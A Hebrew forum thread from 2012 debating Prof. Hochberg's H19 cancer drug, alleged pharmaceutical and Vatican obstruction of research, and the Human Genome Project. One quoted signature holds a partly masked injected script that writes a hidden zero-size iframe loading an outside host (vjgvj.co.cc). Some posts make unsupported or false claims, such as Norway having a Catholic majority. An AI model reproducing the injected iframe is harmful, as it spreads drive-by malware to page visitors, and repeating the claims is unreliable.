|
|
| נשלח ב-19/2/2012 10:54 |
 |
| |
| אזנים_לכתל כתב: |  | מקס, זה בכלל לא ברור שהתרופה של פרופ' הוכברג היא אכן תרופת פלא. עובדה שגם כשנתנו אותה לחולים ספציפיים אז היא לא חוללה פלאים, אז אמרו שהזריקו אותה לגידול בכבד והיא כיווצה אותו, אבל בזה זה נגמר והיא לא השמידה אותו ולא עצרה את המחלה ודי ברור שהחולה נפטר מהמחלה בסופו של דבר.
אני מסכים שיש כיום בירוקרטיית יתר במסלולי אישור תרופות במערב, אבל עדיין בסופו של דבר תרופות פלא זוכות לעזור במסלול ירוק ומהיר וכמעט תמיד ניתן יהיה לתתן לחולים עם גרורות ובמצב מתקדם שכבר אין להם מה להפסיד. |
|
אני לא מכיר את המקרה שאתה מדבר עליו, בכל אופן מדובר בבעיות טכניות כלומר בדרך להשתמש עם התרופה, ולמשל בגרורות הם צריכים טכניקה אחרת (דרך הווריד) ובאמת זה יהיה מוכן בעוד שנה וחצי בערך,
אתה צריך להבין שיש הבדל בין תיאוריה שלא הוכח, לבין תיאוריה שהוכח במאה אחוז ובמאה אחוז שאין לה תופעות לוואי ואין לה סבל,
הטוכניקה היא סיפור אחר לגמרי, כאן מדובר על אי גיוס את כל המוחות הגדולים לעניין, כי לאף אחד לא איכפת כנראה,
ביום שגילו שאפשר לטוס אז כל בני אנוש התרגשו והתחילו להמציא כל מיני סוגי כלי תעופה והנה אנו טסים לכל במקום ובבטחה,
אותו דבר היה צריך לקראות לו היינו שמחים ומתרגשים עם גילויו של פרפ' הוכברג וחבריו באוניברסיטה העברית בירושלים,
בגילוים חדשים במדעי המחשב אנו מקבלים זאת (כל אדם בההמון) מיד בכל המכשירים האפשריים,
הסיבה כמובן כלכלי, כי יש רווחים גדולים,
מה שאין כן תרופה לסרטן לא רק שלא יהיה רווחי כמו במדעי המחשב, רק גם ימנע הרבה כסף לרופאים לבתי החולים,
כמו הסיפור עם הרופא המתאבד שלקח חידק בפומבי בכדי לעורר את הקהילה למציאת התרופה שלו לאולקוס,
תעשיית התרופות לאולקוס היא 50% מכל התרופות, וברגע שרופא מצא שאולקוס היא חידק ואפשר לטפל בה עם אינטיביוטיקה אז הלך כל התעשייה, ומי יתן לדבר כזה לקראות ???
אני רוצה לומר משהו מטריף לגמרי שהציבור בישראל לא יודעים לדעתי,
ראו כאן http://multimedia.huji.ac.il/video/outreach/0506/madua/01.html
בדקה 18.35 מה שזועק פרופ' פרופ' אלכסנדר לויצקי - האוניברסיטה העברית בירושלים
30/10/2005
וזה דבריו שם: (מי דקה 18:35 )
" אגב אנחנו המדינה המשקיעה הכי פחות באופן יחסי במחקר הסרטן מאשר כל מדינות המערב, משרד הבריאות כמעט שלא משקיע כלום בחקר הסרטן, האגודה ללוחמה בסרטן משקיעה שהיא ארגון וולונטארי משקיע יותר ממדינת ישראל, זו בושה וחרפה בהחלט (נזעק בכאב הפרופ' max) בכל מדינה יש מכון לחקר הסרטן אצלינו זה לא קיים, זה מאוד חבל (בלשון עדינה מידי לדעתי max) ולכן היכולת שלנו (= המדענים הישראלים max) לתרום מאוד מוגבלת"
(עד דקה 19:05 )
מה שאין כן במאיץ החלקיקים בזנבה (שזה חשוב מאוד אבל לא כמו בסרטן) למשל השקיעו מיליונים,
תוקן על ידי maxmen ב- 19/02/2012 10:57:55
|
|
|
|
| נשלח ב-19/2/2012 11:06 |
|
| |
כמעט כל המחקר בנושא סרטן הוא מחקר עקר שלא הניב כל תוצאות ב-30 השנים האחרונות, ויש הרבה ספרים בשאלה למה ה"מלחמה בסרטן" שהכריז עליה רונלד רייגן נכשלה.
אחת הדעות היא שהמדענים גונבים את כספי המחקר ומשתמשים בהם למה שנקרא "מחקר בסיסי" שבעצם אין לו שום קשר הכרחי למלחמה במחלה, כמו נגיד שאתה במלחמה נגד העם הגרמני ותממן מחקר בנושא המלחמה והמדענים יקחו את הכסף ויעשו מחקרים על צבע השיער או היקף הנחיריים של הגרמני הממוצע וכשתתעצבן אז יגידו לך, "מה אתה רוצה, אם נדע יותר על הגרמנים אז אולי יום אחד זה יעזור במלחמה נגדם".
בקיצור, עד שלא תצבור ידע מדעי והבנה במחקר מדעי ותקרא הרבה על הפוליטיקה של המחקר הרפואי אל תתיימר לקפוץ למסקנות בנושא, כי כרגע המסקנות שלך שגויות לגמרי.
|
|
|
|
| נשלח ב-19/2/2012 11:24 |
|
| |
| אזנים_לכתל כתב: | | כמעט כל המחקר בנושא סרטן הוא מחקר עקר שלא הניב כל תוצאות ב-30 השנים האחרונות, ויש הרבה ספרים בשאלה למה ה"מלחמה בסרטן" שהכריז עליה רונלד רייגן נכשלה.
אחת הדעות היא שהמדענים גונבים את כספי המחקר ומשתמשים בהם למה שנקרא "מחקר בסיסי" שבעצם אין לו שום קשר הכרחי למלחמה במחלה, כמו נגיד שאתה במלחמה נגד העם הגרמני ותממן מחקר בנושא המלחמה והמדענים יקחו את הכסף ויעשו מחקרים על צבע השיער או היקף הנחיריים של הגרמני הממוצע וכשתתעצבן אז יגידו לך, "מה אתה רוצה, אם נדע יותר על הגרמנים אז אולי יום אחד זה יעזור במלחמה נגדם".
בקיצור, עד שלא תצבור ידע מדעי והבנה במחקר מדעי ותקרא הרבה על הפוליטיקה של המחקר הרפואי אל תתיימר לקפוץ למסקנות בנושא, כי כרגע המסקנות שלך שגויות לגמרי. |
|
אתה טוען בדיוק מה שאני טוען,
אני לפחות רציתי להציל את המדענים ואתה גם מבקר אותם ובצדק, פרופ' לויצקי היקר באותו הרצאה טוען שמאז הביקורת של העיתונאי (נגד המחקר שקיבל כל כך הרבה כסף ואין תוצאות טובות. מאז שהוכרזה המלחמה 1971 עד 1994 לא רואים תוצאות ??) יש תוצאות יותר טובות, רק הפרופ' מסביר שזה נראה שבגלל הביקורת של העיתונאי התחילו לראות תוצאות, אבל הוא טוען שזה לא נכון לומר שזה בגלל הביקורת העיתונאית, רק בגלל תוצאה מצטברת של המחקרים, (כלומר גם רוצה להגן על המדענים ובצדק, כי אותם אין לאשים באמת. אפי' שיש גם אצלהם מה לבקר, בכל זאת אין לדרוש מהם שיעשו הכל לשם שמים,)
לגבי המוסר שלך אלי:
זה מיותר. כי אני באמת עמל ללמוד, ולא חידשת לי כלום כאן,
תוקן על ידי maxmen ב- 19/02/2012 11:25:27
|
|
|
|
| נשלח ב-19/2/2012 14:37 |
|
| |
.
זה בכלל הכל בגלל הוותיקאן, הם מטרפדים את המחקר נגד הסרטן ורוצים להשתמש ביהודים בתור שפני נסיון - ביחוד במחקרים על תאומים ג'ינג'ים.
לחילופין, יש קונספירציה של חברות התרופות הגדולות נגד גילוי תרופה נגד הסרטן, כי אז הם יצטרכו לייצר את התרופה הזו במקום להרוויח כסף ממכירת תמציות של פרחי באך.
לחילופי חילופין, אולי כדאי שתתחילו לקרוא קצת יותר חומר, בעין מעט יותר ביקורתית, ואכמ"ל.
|
|
|
|
| נשלח ב-19/2/2012 15:58 |
|
| |
לחילופין אתה עלול להתחשמל בזרם חילופין כי צריך בכלל לכתוב לחלופין.
|
|
|
|
| נשלח ב-19/2/2012 17:08 |
|
| |
| אזנים_לכתל כתב: | | | לחילופין אתה עלול להתחשמל בזרם חילופין כי צריך בכלל לכתוב לחלופין. |
|
וחילופיהם בגולם.
מה אתה רוצה ממני? טען כנגד המשנה:
"האומר לאשתו קונם מעשה ידיך עלי קונם הן על פי קונם הן לפי אסור בחילופיהן ובגידוליהן ..."
(נדרים פרק ז)
|
|
|
|
| נשלח ב-19/2/2012 18:14 |
|
| |
מואדיב
לפי החומר שידוע לך, האם יש בתרופה זו, של פרופסור הוכברג, ממש?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-20/2/2012 09:01 |
|
| |
| מיימוני כתב: | | מואדיב
לפי החומר שידוע לך, האם יש בתרופה זו, של פרופסור הוכברג, ממש? _________________ שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
אני לא יודע.
אפשר לעשות חיפוש, בגוגל יש הרבה מאד מידע על הוכברג, על החברה שהקים, על פריצת הדרך המדעית - כן או לא, וכו'.
יש רק אי הבנה בסיסית אחת:
לממסד הכוחני והעשיר של חברות התרופות לא משתלם לחסום המצאה כזו. בדרך כלל, לממסד כזה משתלם לקנות את הפטנט, ואם לא - לרוץ ולהשקיע בייצור תרופה גנרית, ולחכות ליום פקיעת הפטנט - או אפילו לא לחכות.
פוטנציאל הרווח מייצור תרופה נגד סרטן הוא כל כך גדול, שאף אחד לא יהיה מוכן לשבת בצד, ולהסתכן בכך שהמתחרה שלו יגיע לשוק לפניו.
ראה את הדברים של החוקרים של חברות התרופות, ואיך הם רוצים למצוא "את הגליווק השני", ולא רק עבור חולי CML.
|
|
|
|
| נשלח ב-20/2/2012 22:34 |
|
| |
| מואדיב כתב: | | יש רק אי הבנה בסיסית אחת:
לממסד הכוחני והעשיר של חברות התרופות לא משתלם לחסום המצאה כזו. בדרך כלל, לממסד כזה משתלם לקנות את הפטנט, ואם לא - לרוץ ולהשקיע בייצור תרופה גנרית, ולחכות ליום פקיעת הפטנט - או אפילו לא לחכות.
פוטנציאל הרווח מייצור תרופה נגד סרטן הוא כל כך גדול, שאף אחד לא יהיה מוכן לשבת בצד, ולהסתכן בכך שהמתחרה שלו יגיע לשוק לפניו.
ראה את הדברים של החוקרים של חברות התרופות, ואיך הם רוצים למצוא "את הגליווק השני", ולא רק עבור חולי CML.
|
|
ויש שאין להם הבנה באנשים טובים, פרופ' הוכברג הלך בכיוון שהתרופה יבוא לכל דורש (= היכנס לסל הבריאות) ולכן הוא לא נתן שיקרא מה שקרה לתרופות האחרות שאין לאדם רגיל יכולת להגיע אליהם,
עכשיו לא כל כך משנה מה ייצא עם התרופה,
עומד לו פרופ' שמכיר את המערכת 70 שנה ובהרצאה לציבור הרחב אומר "דת" "צבא" "רפואה" אלה מוסדות שקשה מאוד להזיז אותם,
כלפי הדת אתה בוודאי מסכים, על הצבא אתה מסכים ? ועל הרפואה אתה מסכים ?
לפי הצחוקים שלך בעניין נראה שעדיף לך האלילות שלך מי אפי' אחוז אחד מזור לחולים,
אגב הוותיקן באמת מפריע במחקר ועוד אייך,
רק דוגמא קטנה, הוותיקן אוסר כל מחקר בתאי גזע עובריים, (שזה יכול להציל מעל 3000 מתים בכל יום בארצות הברית לבד)
ודווקא ההלכה היהודית נותנת חופש ולכן מדינת ישראל היא החלוצה בתחום מכל המדינות,
ליצנות אחת דוחה מאה תוכחות,,,,,,,,,,,,,
|
|
|
|
| נשלח ב-21/2/2012 09:17 |
|
| |
| maxmen כתב: | | יש רק אי הבנה בסיסית אחת:
לממסד הכוחני והעשיר של חברות התרופות לא משתלם לחסום המצאה כזו. בדרך כלל, לממסד כזה משתלם לקנות את הפטנט, ואם לא - לרוץ ולהשקיע בייצור תרופה גנרית, ולחכות ליום פקיעת הפטנט - או אפילו לא לחכות.
פוטנציאל הרווח מייצור תרופה נגד סרטן הוא כל כך גדול, שאף אחד לא יהיה מוכן לשבת בצד, ולהסתכן בכך שהמתחרה שלו יגיע לשוק לפניו.
ראה את הדברים של החוקרים של חברות התרופות, ואיך הם רוצים למצוא "את הגליווק השני", ולא רק עבור חולי CML.
ויש שאין להם הבנה באנשים טובים, פרופ' הוכברג הלך בכיוון שהתרופה יבוא לכל דורש (= היכנס לסל הבריאות) ולכן הוא לא נתן שיקרא מה שקרה לתרופות האחרות שאין לאדם רגיל יכולת להגיע אליהם,
עכשיו לא כל כך משנה מה ייצא עם התרופה,
עומד לו פרופ' שמכיר את המערכת 70 שנה ובהרצאה לציבור הרחב אומר "דת" "צבא" "רפואה" אלה מוסדות שקשה מאוד להזיז אותם,
כלפי הדת אתה בוודאי מסכים, על הצבא אתה מסכים ? ועל הרפואה אתה מסכים ?
לפי הצחוקים שלך בעניין נראה שעדיף לך האלילות שלך מי אפי' אחוז אחד מזור לחולים,
אגב הוותיקן באמת מפריע במחקר ועוד אייך,
רק דוגמא קטנה, הוותיקן אוסר כל מחקר בתאי גזע עובריים, (שזה יכול להציל מעל 3000 מתים בכל יום בארצות הברית לבד)
ודווקא ההלכה היהודית נותנת חופש ולכן מדינת ישראל היא החלוצה בתחום מכל המדינות,
ליצנות אחת דוחה מאה תוכחות,,,,,,,,,,,,, |
|
שתי הערות, מאקס:
הראשונה:
את הממסד הרפואי - כמו כל ממסד מדעי - קשה להזיז ממקומו - בהחלט יתכן.
מצד שני, הוא תמיד יזוז בסוף. דוקא המקרה של גילוי ההליקובאקטר פילורי הוא ההוכחה האולטימטיבית לכך. למרות שכולם לעגו למרשול וורן, הם הוכיחו שהם צודקים, וכל מי שלעג להם, עמד ומחה כפיים.
הוכברג הקים בשנת 2005 חברה, ובשנת 2009 פורסמו תוצאות ראשוניות של מחקרים קליניים שהראו הצלחה בטיפול ב-18 חולים.
לפי קריאה שטחית, האסטרטגיה של ביוקנסל ושל הוכברג היא להגיע לניסויי שלב שני, ואז למכור את החברה לאחד מהענקים הגדולים בתחום - כך גם מנתחים האנליסטים בתחום את ההתנהלות של החברה עד כה.
מבחינת לוח זמנים לביצוע ניסויים על תרופות - וצריך לזכור שמדובר בניסויים בבני אדם - אני לא מוצא שום גורמים שמעכבים את החברה, ולא ברור לי למה מישהו יפתח תאוריית קונספירציה כזו. הסיפור נראה סטנרדטי לגמרי, בדיוק כמו עם אלפי מדענים אחרים שגילו משהו, ומקימים חברה כדי לנסות להרוויח מהגילוי שלהם.
השניה:
הגבלות על מחקר הן לא תמיד עדות לפרימיטיביות או חושך. במדינות רבות נאסר מחקר בתאי גזע עובריים מסיבות אתיות, הוותיקן - אם אכן אוסר כך - אינו יוצא דופן.
הוותיקן, אגב, כלל לא רלבנטי. מדינת הוותיקן לא יכולה לעכב מחקר באף חברת תרופות, משום שאף אחת מחברות התרופות המבצעות מו"פ, לא ממוקמת במדינת הותיקן.
פרוטוקול הלסינקי, לגבי ניסויים בבני אדם, לא נולד כגחמה של מי שרוצים לעכב את התפתחות המדע, ומי שחושב שהסרת כל המגבלות על מחקר וניסויים בבני אדם זה דבר טוב, שיפתח מילון ויבחן שוב את הערך מוסר. יש מדינות שבהן בוצעו ניסויים בבני אדם בלי פיקוח הדוק, כולנו יודעים לאן הדברים הגיעו, ואני דוקא לא מתכוון לתקופת מלחמת העולם השניה. בקנדה, לדוגמא, ביצעו ניסויים ב-LSD על חולי נפש לפני כמה עשרות שנים, בלי לשאול אף אחד.
 |
|
|
|
|
| נשלח ב-21/2/2012 11:39 |
|
| |
| מיימוני כתב: | | מואדיב
לפי החומר שידוע לך, האם יש בתרופה זו, של פרופסור הוכברג, ממש? |
|
הרב מיימוני היקר:
חשוב לשים לב לעיקר טענתי כאן,
אני טוען שני דברים,
1, פרופ' הוכברג מצא את הגן האחראי ( H-19) שנותן מזון לתאי הסרטני, כאן אמור היה להיגמר עבודתו, ותפקיד החברה וכל חכמיה להתחיל למצוא דרך לטפל בו, כמו בפרויקט הגנום האנושי, (בהמשך אני הסביר)
כלומר: מספיק לאנושות הגילוי של פרופ' הוכברג עם חבריו, וכאן נפסק תפקידם, כך היית צריך להיות,
ואז מגייסים את כל המלומדים בחברה (כלל האנושי) ומתכננים עיצה איך מטפלים בה (בH-19)
כלומר: זה תפקיד החברה כולה, כמו שניקסון גייס את כל המדינות להילחם בסרטן, (החתימה לאמנה למלחמה בסרטן ב1971ועוד מכסף ציבורי מתקציב הפדראלי ממוסדיים)
2, אחרי שפרופ' הוכברג מצא דרך\תרופה שאין לה תופעות לוואי ?! אז כל חוקי החברה הנוקשים (ובצדק) לא חלים עליו !!!
יבוא חברי הפורום וירצו להוכיח מפרויקט הגנום נגדי,
אז מה היה שם ?
הכרזה רשמית של ממשלת ארה"ב על פתיחת הפרוייקט ב1990
הפרוייקט יונהג על ידי DOE ו- NIH
המטרות ?
1, זיהוי כל 100.000 הגנים המוכלים בגנום האנושי
2, קביעת הרצף של למעלה משלוש מיליארד אותיות הבונות את הגנום,
3, אגירת האינפורמציה במאגרי נתונים,
4, פיתוח כלים ושיטות חדשות לאנליזה,
5, טיפול בשאלות האתיות, החוקיות והחברתיות הנובעות מפרוייקט הגנום,
החלטות ביצועיות ומדעיות:
1, הפרוייקט מתוכנן ל15 שנים, בתקציב ענק של שלוש מיליארד דולר, (= עוד אף פעם לא זכה שום פרוייקט אחר בכזה תקציב)
2, "18" מדינות יקחו חלק בפרוייקט ("הקצאת" כרומוזומים למדינות)
בקיצור (לא נרחיב בעניין הרבה) מה מייחד את הפרוייקט בצורה הזאת (שיתוף כלל עולמי עם כסף ציבורי)?
1, כל האינפורמציה זמינה לאורך כל התהליך ולכל
2, פיתוח טכנולוגיות מפתיעות, (בהמשך)
3, תיאום יוצא דופן בין הארגונים = מדינות חברות פרטיות ועוד,
4, התייחסות ופיתוח כלים לשאלות האתיות והמשפטיות, (שזה מאוד חשוב וחדיש ותעודת יושר לאנושות)
5, מיסוד אסכולות מדעיות חדשות באנושות
ולכן היו צריכים להסכם ברמודה ב1996 ( בכדי שהמחשבות הטובות יהיו גם חוקיות ולא רק חלום ורצון טוב)
שקבעו,
1, כל המידע חופשי וזמין לכל
2, כל הידע שייך לקהילה האנושית, (עם כל הרצון הטוב בתכלס כרבע מכל הגנים האנשית מצויים היום בידיים פרטיות)
בתכלס: זה לקח רק עשר שנים כי באמצע נכנס חברה פרטית עם שיטה יותר טובה ומתקדם והצליח ברבע תקציב ויותר מהר לגמור את הפרוייקט,
קיצרתי מאוד כי העיקר רציתי לומר שכאן יבואו חכמי הפורום ויאמרו הנה עמד הרצון האנושי לעשות דבר ענק לאנושות,
ולמעשה זה היה לוקח הרבה יותר זמן והרבה יותר כסף ציבורי,
והנה חברה פרטית (עם אינטרסים אנוכיים כביכול) יכולה לעשות זאת בפחות זמן ופחות כסף,
אבל מה שאני אומר שזה נכון שלקוח פחות כסף ופחות זמן אבל היא לא שייכת (רבע מהגנים) לקהילה\אנושות רק לחברה הפרטית,
ומכאן בשורה התחתונה שכל מידע צריך לשלם כסף לחברה, אז אייך יפתח לנו שערי החכמה והמדע אם הרבה חלקים חסויים ובידי אנשים פרטיים,
אני לא מכריעה מה יותר טוב, אבל בסוף כל סוף כל אחד מבין שזה לא טוב,
כלומר ברור שמבחינת הזמן והכסף לפרוייקט עצמו עדיף חברה פרטית,
אבל אתה חייב לתת לחברה זכויות, (הרי חייב להרוויח) ואז המידע לא זמין לכל מלומד, וזה עוצר את התפתחות החכמה באנושות,
לסיכום: לא צריך כל דבר אנושי להפוך לתורת המשחקים, נכון שבמשחקים זה טוב כמו שהחברה הפרטית הצליחה יותר מגייוס מדינות וגיוס כסף ציבורי, אבל כמו בכל משחק יש מפסידים כך גם כאן, וכאן ההמון\הקהילה הוא המפסיד, והבן,
וזה כבר גם תשובה ל"מואדיב היקר"
צריך שהקהילה תדע להבדיל בין משחקים שאפשרי בכל תחום עד שמגיע למוסר ולטובת האנושות שאז אין יותר משחקים אך ורק רציניות וגיוס כל הקהילה וכספם (אפי' שזה לוקח יותר זמן ויותר כסף,)
אמרה פעם אישה לבעלה אני רוצה שתאהוב אותי מהלב ולא דרך הספר הכללים והמשחקים,
כך יאמר תלמיד למחנכו כך אני אומר לשליטי החברה בכל האנושות, נכון שצריך מנהיגים וחוקים ומשחקים, אבל אל תהפכו אותנו לכלי משחק אנו רוצים את הלב שלכם, והלוואי שראש ממשלת ישראל יבין זאת בעניין הצדק החברתי הנזעק על ידי האזרחים, ושכך יבינו כל המנהיגים בכל האומות מסביב,
הכל נכון. כל דרך חברתי יש בה טוב, אבל אל תהפכו את ההמון לכלי משחק תנו להם את הלב ותראו שההמון יתן לכם אימון אפי מוכנים יהיו לעשות "צנע" שצריך. באימון מלא במנהיג,
אבל שהמנהיגים רואים בההמון ככלי משחק בתורת המשחקים ?! אז אין ההמון נותן להם אימון והחברה מתפרקת לגמרי,
ולכן שמצאו כבר את הגן H-19 צריך שכל המלומדים ייתגיסו עם כסף ציבורי עולמי למצוא דרך קלה לטפל בה, ומיד,
לטובת כולנו,
שהאלוקים ייתן שנזכה במהרה בימינו אמן ואמן,,,,,
תוקן על ידי maxmen ב- 21/02/2012 11:45:54
|
|
|
|
|
| נשלח ב-21/2/2012 12:09 |
|
| |
| מואדיב כתב: | | הוותיקן, אגב, כלל לא רלבנטי. מדינת הוותיקן לא יכולה לעכב מחקר באף חברת תרופות, משום שאף אחת מחברות התרופות המבצעות מו"פ, לא ממוקמת במדינת הותיקן.
|
|
צדיק בוא נדבר עובדות,
מדינות עם רוב קתולי כמו אירלנד נוברגיה ופולין אוסר כל מחקר בגלל הוותיקן,
בארה"ב המצב מורכב ביותר כל מדינה יש לה חוק משלה יש מדינות שם (כשש מדינות נדמה לי) שאוסרות כל מחקר זה ממש פלילי, והולכים לכלא למי שעוסק במחקר כלשהו,
והכל בגלל חשיבת הוותיקן בעניין, שאומרת "ביצית מופרת יש לה זכויות כמו לאדם בוגר" ולכן הוותיקן מתנגד גם להפרייה חוץ גופית או להפריית מבחנה, כי בתהליך של הפרייה חוץ גופית ובהפריית מבחנה. תמיד יש עוברים שלא ישרדו, ומבחינה (מהחשיבה הזאת) הזאת הם לא מאפשרים גם את חקר תאי הגזע העובריים"
|
|
|
|
| נשלח ב-21/2/2012 12:35 |
|
| |
| maxmen כתב: | | הוותיקן, אגב, כלל לא רלבנטי. מדינת הוותיקן לא יכולה לעכב מחקר באף חברת תרופות, משום שאף אחת מחברות התרופות המבצעות מו"פ, לא ממוקמת במדינת הותיקן.
צדיק בוא נדבר עובדות,
מדינות עם רוב קתולי כמו אירלנד נוברגיה ופולין אוסר כל מחקר בגלל הוותיקן,
בארה"ב המצב מורכב ביותר כל מדינה יש לה חוק משלה יש מדינות שם (כשש מדינות נדמה לי) שאוסרות כל מחקר זה ממש פלילי, והולכים לכלא למי שעוסק במחקר כלשהו,
והכל בגלל חשיבת הוותיקן בעניין, שאומרת "ביצית מופרת יש לה זכויות כמו לאדם בוגר" ולכן הוותיקן מתנגד גם להפרייה חוץ גופית או להפריית מבחנה, כי בתהליך של הפרייה חוץ גופית ובהפריית מבחנה. תמיד יש עוברים שלא ישרדו, ומבחינה (מהחשיבה הזאת) הזאת הם לא מאפשרים גם את חקר תאי הגזע העובריים" |
|
כמה תרופות חדשניות מפותחות במדינות עם רוב קתולי כמו אלו שהזכרת, אירלנד או נורווגיה?
|
|
|
|
| נשלח ב-21/2/2012 12:40 |
|
| |
|
|
|
|
| נשלח ב-21/2/2012 12:45 |
|
| |
מואדיב
כמדומה שיש הבדל בין תרופות טבעוניות שאולי יש בהן טוב אבל זה לא הוכח באותם כלים (רעועים ומוגבלים אבל הטובים ביותר שיש לנו) של המדע - לבין מחקרו של הוכברג. ואני מסתמך על דבריך שלך...
מקסמן
תמה אני על מה שכתבת. נכון שאם הוכברג גילה תגלית חשובה כל כך אז כל הכבוד לו. ונכון שאם הוא צודק צריך להשקיע בו ובתגליתו.
אבל האם זה אומר שהוא פטור מלעשות עוד דבר?
וכן, התגלית שלו ונכונותה זה בדיוק מה שעומד לדיון. עד שהדברים יוכחו בניסויים אין כאן אלא השערה. וכפי שכתב מואדיב, ברגע שהם יוכחו, כבר יהיו מי שירוצו עם המיליארדים.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
